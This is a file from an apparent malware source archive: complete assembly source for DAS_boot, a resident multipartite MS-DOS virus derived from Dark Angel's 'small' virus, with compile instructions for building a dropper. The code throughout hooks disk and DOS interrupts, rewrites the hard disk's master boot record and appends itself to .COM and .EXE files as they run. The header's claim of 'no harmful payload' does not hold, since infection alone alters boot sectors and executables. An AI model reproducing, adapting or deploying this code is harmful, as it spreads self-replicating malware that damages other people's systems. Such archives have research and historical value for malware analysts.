MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.das_boot.a86
2021-01-12 17:38:47 -06:00

315 lines
18 KiB
Plaintext

;=============================================================================
; Virus Name: DAS_boot
; Effective Length: 421 Bytes
; Description: Dark Angel's _small virus modified into multipartite
;
; Notes:
; - resident, multipartite, appending .COM/.EXE infector
; - infects .COM and .EXE files when they are executed
; - infects fixed disk MBR
; - no harmful payload
;
; To Compile:
; - use shareware A86 assembler
; - type "a86 das_boot.a86"
; - resulting das_boot.com is virus dropper which,
; if executed, will infect your system with DAS_boot
;=============================================================================
boot equ 07b00 ;delta offset for boot-time location
com equ 0100 ;delta offset for resident location
EXE_id equ -040 ;EXE infection tag
viruslength equ 01a5 ;length of virus = 421 bytes
das_boot:
call relative
oldheader db 0cd, 020 ;*(00) EXE file signature | COM file's
dw ? ;*(02) # of bytes in last page| 1st 3 bytes
dw ? ;*(04) size of file + header (pages)
dw ? ; (06) # of relocation items
dw ? ; (08) size of header (paragraphs)
dw ? ; (0A) min paragraphs needed
dw ? ; (0C) max paragraphs needed
dw ? ;*(0E) ss displacement from entry in para.
dw ? ;*(10) sp value at entry
dw ? ; (12) checksum
dw ? ;*(14) ip value at entry
dw ? ;*(16) cs displacement from entry in para.
;* - indicates value modified by das_boot
relative:
pop bp ;pop offset of oldheader off of stack
sub bp,03 ;adjust offset to start of program
mov ax,cs ;load ax with current segment
mov cl,04 ;load cl with multiplier/shift value
shl ax,cl ;calculate absolute segment
mov si,bp ;load si with program offset
add si,ax ;calculate absolute address
cmp si,07c00 ;code executing at boot-time address?
jne infect_mbr ;if not, must be executing from file,
; so attempt to infect MBR
xor ax,ax ;zero ax
mov ds,ax ;point ds to vector table
push si ;save 0000:07c00 on stack as load
push ds ; location for original MBR
dec word ptr [0413] ;decrease conventional memory by 1KB
int 012 ;load ax with #KB of conv. memory
mov cx,0106 ;load move (100) and shift (06) values
shl ax,cl ;calculate destination segment
mov es,ax ;set es to destination segment
mov [022*4+2],ax ;store boot tag in int22 vector seg.
xchg [013*4+2],ax ;point int13 vector to virus segment
mov [offset old13+boot+2],ax ;store old int13 segment value
mov ax,offset int13-com ;load ax with virus int13 handler off.
xchg [013*4],ax ;point int13 vector to virus offset
mov [offset old13+boot],ax ;store old int13 offset value
xor di,di ;set destination offset=0000
cld ;clear direction flag (fwd)
rep movsw ;move virus to top of conv. memory
push es ;push destination segment for retf
mov bx,offset top_mem-com ;load bx with offset
push bx ;push offset for retf
retf ;return to self at new location
top_mem:
pop es ;pop es=0000 as disk load segment
mov ax,0201 ;select read-one-sector function
pop bx ;pop bx=07c00 as disk load offset
mov cl,02 ;cylinder 0, sector 2 (original MBR)
int 013 ;load original MBR
jmp 0000:07c00 ;jump to execute original MBR
infect_mbr:
push ds ;preserve registers
push es
push cs
pop ds ;set ds=cs
push cs
pop es ;set es=cs
mov ax,0201 ;select read-one-sector function
lea bx,[bp+viruslength] ;set load offset just beyond program
mov cx,01 ;cylinder 0, sector 1 (MBR)
mov dx,080 ;head 0, drive "C"
int 013 ;load MBR
jb exit_small ;if flag=error, exit
cmp [bx],018e8 ;check for das_boot code
je exit_small ;if equal, MBR already infected, so
; exit
mov ax,0301 ;select write-one-sector function
inc cx ;cylinder 0, sector 2
int 013 ;relocate original MBR to sector 2
mov si,bp ;set source offset to start of virus
mov di,bx ;set dest. offset to MBR in buffer
mov cx,viruslength ;load move count to cx
rep movsb ;move virus to MBR in memory
mov ax,0301 ;select write-one-sector function
inc cx ;cylinder 0, sector 1 (MBR)
int 013 ;write infected MBR to drive "C"
exit_small:
pop es ;restore segment registers to point
pop ds ; to PSP
add bp,03 ;reset bp to point to oldheader
or sp,sp ;test parity of stack pointer
jpo returnCOM ;if value is odd, COM file is host
returnEXE:
mov ax,ds ;load ax with PSP segment
add ax,010 ;adjust segment value to skip PSP
add [bp+016],ax ;restore orig. cs value in oldheader
add ax,[bp+0e] ;calculate original ss entry value
mov ss,ax ;load ss with original value
mov sp,cs:[bp+010] ;load sp with program entry value
jmp dword ptr cs:[bp+014] ;jump to EXE file entry point via
; restored value in oldheader
returnCOM:
mov di,0100 ;COM file entry point & move dest.
push di ;save on stack as return offset
mov si,bp ;point to stored COM 1st three bytes
movsw ;move the original three bytes
movsb ; back to the start of the COM file
ret ;return to execute the COM file
; (return segment already on stack)
int13:
push ax ;preserve registers
push ds
xor ax,ax ;zero ax
mov ds,ax ;point ds to vector table
mov ax,cs ;set ax=cs
cmp [090*4],ax ;bypass flag set?
je exit_int13 ;if so, don't steal int21 vector again
cmp [022*4+2],ax ;int22 vector segment = boot tag?
je exit_int13 ;if so, vectors not fully initialized,
; so don't steal int21 yet
mov [090*4],ax ;put bypass flag in unused BASIC vect.
xchg [021*4+2],ax ;point int21 vector to virus segment
mov cs:[offset old21-com+2],ax ;store orig. int21 handler segment
mov ax,offset int21-com ;load ax with virus int21 handler off.
xchg [021*4],ax ;point int21 vector to virus offset
mov cs:[offset old21-com],ax ;store orig. int21 handler offset
exit_int13:
pop ds ;restore registers
pop ax
db 0ea ;"jmp far" to location specified in
old13: ; old13
dw ?, ? ;offset and segment of original int13
; handler
infect:
push ax ;preserve registers
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax,03d02 ;open file read/write function
int 021 ;attempt to open file read/write
xchg ax,bx ;save file handle in bx
push cs
pop ds ;set ds=cs
push cs
pop es ;set es=cs
mov si,offset oldheader-com ;point to offset of oldheader
mov ah,03f ;read file function
mov cx,018 ;first 18 bytes
push cx ;save value for later use
mov dx,si ;point to oldheader offset
int 021 ;load file's 1st 18 bytes to oldheader
cmp ax,cx ;18 bytes successfully read?
jne go_already_infected ;if not, open file read/write failed,
; so exit
mov di,offset target-com ;point to target offset
push di ;save offset value for later use
rep movsb ;move oldheader to target (cx=18)
pop di ;restore di to target offset value
mov ax,04202 ;move file pointer, offset from EOF
cwd ;set dx=0000 (LSP) [cx=0000 (MSP)]
int 021 ;move file pointer to EOF, dx:ax
; returned as new file pointer
cmp ds:[di],'ZM' ;check target header for EXE tag
je infectEXE ;if present, infect EXE
infectCOM:
sub ax,03 ;subtract 3 from file pointer offset
mov byte ptr ds:[di],0e9 ;put "jmp" at start of target header
mov ds:[di+01],ax ;put jmp offset in target header
sub ax,viruslength ;calc. jmp offset of infected file
cmp ds:[si-017],ax ;does file's jmp offset match?
jne finishinfect ;if not, it's not infected, so infect
go_already_infected:
pop cx ;discard excess value on stack
jmp short already_infected ;exit infection routine
int21:
cmp ax,04b00 ;load and execute file request?
je infect ;if so, attempt to infect file
jmp short chain ;if not, jump to orig. int21 handler
infectEXE:
cmp word ptr [di+010],EXE_id ;check for infect tag in target SP
je go_already_infected ;if tag is present, don't infect
push ax ;push file pointer LSP
push dx ;push file pointer MSP
add ax,viruslength ;add virus length to file length (LSP)
adc dx,0 ;adjust MSP (segment) to reflect
; any carry from adjustment of LSP
mov cx,0200 ;set cx=1 page (512d bytes)
div cx ;divide new file length by 512d to
; calculate number of pages in file
or dx,dx ;remainder in dx?
jz nohiccup ;if not, no need to add another page
inc ax ;add another page to length value
nohiccup:
mov ds:[di+04],ax ;store # of pages in target header
mov ds:[di+02],dx ;store # of bytes in last page in
; target header
pop dx ;restore dx to file pointer MSP
pop ax ;restore ax to file pointer LSP
mov cx,010 ;convert dx:ax to
div cx ; segment(ax):offset(dx) form
sub ax,ds:[di+08] ;subtract header size
mov ds:[di+014],dx ;store new entry ip in target
mov ds:[di+016],ax ;store new entry cs displacement
mov ds:[di+0e],ax ;store new entry ss displacement
mov word ptr ds:[di+010],EXE_id ;store EXE_id as sp in target
finishinfect:
mov ah,040 ;write to file w/handle function
mov cx,viruslength ;specify # of bytes to write
xor dx,dx ;set buffer start at virus offset
int 021 ;write _small to EOF
mov ax,04200 ;move file pointer, offset from BOF
xor cx,cx ;MSP of offset cx=0000
cwd ;LSP of offset dx=0000
int 021 ;move file pointer to BOF
mov ah,040 ;write to file w/handle function
mov dx,di ;set buffer start at target header
pop cx ;specify 18 bytes to write
int 021 ;write modified EXE header (or COM
; jmp xxxx & next 15 bytes) to BOF
already_infected:
mov ah,03e ;close file w/handle function
int 021 ;close file
exitinfect:
pop es ;preserve registers
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
chain:
db 0ea ;"jmp far" to location specified in old21
heap:
old21 dw ?, ? ;offset and segment of orig. int21 handler
target dw ? ;*(00) EXE file signature | COM file's
dw ? ;*(02) # of bytes in last page| jmp to virus
dw ? ;*(04) size of file + header (pages)
dw ? ; (06) # of relocation items
dw ? ; (08) size of header (paragraphs)
dw ? ; (0A) min paragraphs needed
dw ? ; (0C) max paragraphs needed
dw ? ;*(0E) ss displacement from entry in para.
dw ? ;*(10) sp value at entry
dw ? ; (12) checksum
dw ? ;*(14) ip value at entry
dw ? ;*(16) cs displacement from entry in para.
;* - indicates value modified by das_boot
endheap:
end das_boot